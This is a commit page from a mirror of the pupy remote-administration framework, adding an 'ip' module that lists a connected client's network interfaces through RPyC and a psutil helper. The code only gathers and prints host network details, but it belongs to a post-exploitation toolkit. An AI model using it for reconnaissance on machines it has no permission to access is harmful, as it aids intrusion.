mirror of https://github.com/n1nj4sec/pupy.git
Add interfaces listing module
This commit is contained in:
parent
d3c8df573b
commit
decb45f52b
|
@ -0,0 +1,72 @@
|
||||||
|
# -*- coding: utf-8 -*-
|
||||||
|
from pupylib.PupyModule import *
|
||||||
|
from pupylib.PupyCmd import PupyCmd
|
||||||
|
from pupylib.utils.rpyc_utils import obtain
|
||||||
|
from pupylib.utils.term import colorize
|
||||||
|
from datetime import datetime, timedelta
|
||||||
|
|
||||||
|
import logging
|
||||||
|
import socket
|
||||||
|
|
||||||
|
__class_name__="IPModule"
|
||||||
|
|
||||||
|
@config(cat="admin")
|
||||||
|
class IPModule(PupyModule):
|
||||||
|
""" list interfaces """
|
||||||
|
|
||||||
|
dependencies = [ 'pupyps' ]
|
||||||
|
is_module=False
|
||||||
|
|
||||||
|
def init_argparse(self):
|
||||||
|
self.arg_parser = PupyArgumentParser(prog="ip", description=self.__doc__)
|
||||||
|
self.arg_parser.add_argument('iface', nargs='*', help='show only these interfaces')
|
||||||
|
|
||||||
|
def run(self, args):
|
||||||
|
try:
|
||||||
|
data = obtain(self.client.conn.modules.pupyps.interfaces())
|
||||||
|
|
||||||
|
addrlen = max([len(x) for x in data['addrs']])+1
|
||||||
|
|
||||||
|
families = {
|
||||||
|
v:k[3:] for k,v in socket.__dict__.iteritems() if k.startswith('AF_')
|
||||||
|
}
|
||||||
|
|
||||||
|
families.update({-1: 'LINK'})
|
||||||
|
|
||||||
|
familylen = max([len(v)-3 for v in families.itervalues()])+1
|
||||||
|
|
||||||
|
for addr, addresses in data['addrs'].iteritems():
|
||||||
|
if args.iface and not addr in args.iface:
|
||||||
|
continue
|
||||||
|
|
||||||
|
color = ""
|
||||||
|
if addr in data['stats'] and not data['stats'][addr].get('isup'):
|
||||||
|
color = 'darkgrey'
|
||||||
|
elif not any([ x.get('family') == socket.AF_INET for x in addresses ]):
|
||||||
|
color = 'grey'
|
||||||
|
|
||||||
|
self.stdout.write(colorize(addr.ljust(addrlen), color or 'cyan'))
|
||||||
|
first = True
|
||||||
|
|
||||||
|
for address in addresses:
|
||||||
|
if first:
|
||||||
|
first = False
|
||||||
|
else:
|
||||||
|
self.stdout.write(' '*addrlen)
|
||||||
|
|
||||||
|
self.stdout.write(colorize(families[
|
||||||
|
address.get('family')
|
||||||
|
].ljust(familylen), color))
|
||||||
|
|
||||||
|
self.stdout.write(
|
||||||
|
colorize(address.get('address', '').split('%')[0], color or 'yellow')
|
||||||
|
)
|
||||||
|
if address.get('netmask'):
|
||||||
|
self.stdout.write(colorize('/'+address.get('netmask'), color))
|
||||||
|
|
||||||
|
if address.get('broadcast'):
|
||||||
|
self.stdout.write(colorize(' brd '+address.get('broadcast'), color))
|
||||||
|
self.stdout.write('\n')
|
||||||
|
|
||||||
|
except Exception, e:
|
||||||
|
logging.exception(e)
|
|
@ -119,5 +119,19 @@ def connections():
|
||||||
|
|
||||||
return connections
|
return connections
|
||||||
|
|
||||||
|
def interfaces():
|
||||||
|
return {
|
||||||
|
'addrs': {
|
||||||
|
x:[
|
||||||
|
{ k:v for k,v in z.__dict__.iteritems() } for z in y
|
||||||
|
] for x,y in psutil.net_if_addrs().iteritems()
|
||||||
|
},
|
||||||
|
'stats': {
|
||||||
|
x:{
|
||||||
|
k:v for k,v in y.__dict__.iteritems()
|
||||||
|
} for x,y in psutil.net_if_stats().iteritems()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
if __name__ == '__main__':
|
if __name__ == '__main__':
|
||||||
print users()
|
print users()
|
||||||
|
|
Loading…
Reference in New Issue